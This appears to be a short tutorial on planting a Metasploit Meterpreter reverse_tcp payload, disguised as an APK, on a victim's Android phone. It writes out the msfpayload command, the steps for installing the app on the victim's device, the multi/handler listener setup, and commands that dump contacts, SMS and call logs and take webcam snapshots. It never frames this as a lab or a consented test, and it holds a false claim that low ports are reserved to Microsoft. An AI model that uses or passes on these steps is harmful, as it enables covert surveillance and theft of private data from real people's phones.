Today we grab data from an Android Device by Metasploit Framework Requirements:

1.) Laptop/PC 2.) Internet/Network 3.) Metasploit framework (we use Kali Linux 1.0.9 in this tutorial) 4.) Android smartphone (we use Samsung Note II android 4.4.2 KitKat)

Steps to Perform: Open your Linux

Open your terminal

Click on it

Here your terminal is open

Now we write a command for making an apk file for Android # msfpayload andriod/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=8765 R > myapk.apk

LHOST is your local Host/Internal IP Address of attacker LPORT is from which Port you want to take the data We have 65535 Ports you can use any Port you want to use . but 1-1000 Ports are reserve to Microsoft better to use above to 1000 number ports I am using Port Number "8765"

How to find Internal IP Address? Open new terminal. Write a command ----> # ifconfig

After doing that your apk file is created

Install this apk in victims Android Phone to take data.

As the "apk" installed to the victim Phone the port you assign will automatically activated to help the exploit to execute. For doing this you must allow installation of apps from sources other than the Play Store To do this Setting --> More --> Security --> Unknown Sources

Now open your terminal again Write # msfconsole

This command start our Metasploit Framework (msf)

Now we use a command # Use exploit/multi/handler

Note: Linux is a case sensitive OS so write commands correctly

# set payload andriod/meterpreter/reverse_tcp # set LHOST 192.168.1.7 (that we use earlier) # set LPORT 8765 (that we use earlier)

Now # exploit

By this command our payload handler is started

By this our session started

Now write help to get all commands of getting data

List of commands For contacts dump_contacts For message dump_sms For call logs dump_calllogs I show an example of messages and if device is Rooted or not

Here is 224 Messages And device is not rooted

We can also take snaps from victims Phone # webcam_snap 2

After all done give command exit to terminate the session.

NOTE: THIS ONLY WORK WHEN VICTIM AND YOU ARE IN THE SAME NETWORK